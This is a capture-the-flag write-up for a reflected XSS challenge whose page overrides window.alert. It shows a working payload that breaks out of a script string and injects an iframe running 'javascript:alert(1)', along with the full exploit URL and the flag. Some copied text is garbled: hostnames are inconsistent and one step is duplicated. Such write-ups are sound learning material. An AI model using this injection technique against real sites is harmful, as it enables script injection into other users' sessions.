


The application was vulnerable to xss that is even written in the description. The task is to **Submit** URL which will prompt alert(1).

🔄 ⓘ xss1.alienvault.se:2999

Excess Ess

Make alert(1) pop **here** and submit the working URL in the form below.

 URL that pops alert(1) without user interaction

SUBMIT

It looks like standard reflected XSS. But after checking the **Source** of the page we could find that alert was overwritten by prompt. Though it is impossible to pop alert in this JavaScript context.

```

/*
    If there is no alert,
        how can there be XSS?

        /
        /
        )
        / ( ( \_ / ) \
        ( # ) \ ( ' ' ) | ( #
        | | _ c \ > ' _ | | |
        | | * * * * ) , / * * |
        | | * _ _ | | _ * |
        | | ( ~ , ) |
        | | / ( . ' . ) |
        | | / < _ _ _ > |
        | | ' _ , \ / , - '
        | | ( / ( / )
        | | _ / _ _ _ /
        | | _ / _ _ _ /

b'ger

*/
window.alert = (x=>prompt("He confirm. He alert. But most of all he prompt."))

```

```

</nead>
<body>
  <script src="/static/no_alert_for_you.js"></script><section class="login-info">
div class="container">
  <script>var x ='hello'; var y = `hello`; var z = "hello";</script>
  <div class="row main">
    <div class="form-header header">
      <h1 class="text-center ">Excess Ess</h1>
    </div>
    <div class="main-content">

```

ⓘ xss1.aliene.se:2999/?xss=%27;alert(1);%27

xss1.aliene.se:2999 says

He confirm. He alert. But most of all he prompt.

Cancel

OK

```

  <script src="/static/no_alert_for_you.js"></script>
  <section class="login-info">
  <div class="container"> == $0
    ::before
    <script>var x ='';alert(1);'; var y = `';alert(1);`; var z = '';alert(1);';</script>
    ><div class="row main">...</div>
    ::after
  </div>

```

What needs to be done is creating new JavaScript context with the same origin environment. To do that we need to create a new iframe which will have a brand new JavaScript context, though the alert function won't be overwritten.

To do that:

1. Create Iframe:
lfr = document.createElement("iframe");
2. Change source of the iframe to executable javascript:
lfr = document.createElement("iframe");
3. Add Iframe to DOM:
document.body.appendChild(lfr);
4. Comment the remaining part of code:
//

The final URL should look like this:

[http://xss1.aliene.se:2999/?xss=%27:var%20lfr=document.createElement\(%22iframe%22\);lfr.src=%22javascript:alert\(1\)%22;document.body.appendChild\(lfr\);//](http://xss1.aliene.se:2999/?xss=%27:var%20lfr=document.createElement(%22iframe%22);lfr.src=%22javascript:alert(1)%22;document.body.appendChild(lfr);//)

🔒 xss1.alienv.se:2999/?xss=%27;var%20ifr=document.createElement("iframe");ifr.src="javascript:alert(1)";document.body.appendChild(ifr);//

An embedded page on this page says

1

OK

[http://xss1.alienv.se:2999/?xss=%27;var%20ifr=document.createElement\(%22iframe%22\);ifr.src=%22javascript:alert\(1\)%22;document.body.appendChild\(ifr\);//](http://xss1.alienv.se:2999/?xss=%27;var%20ifr=document.createElement(%22iframe%22);ifr.src=%22javascript:alert(1)%22;document.body.appendChild(ifr);//)

⬅ ➡ ↻ ⓘ xss1.alienv.se:2999

sctf{cr0ss_s1te_n0scr1ptinG}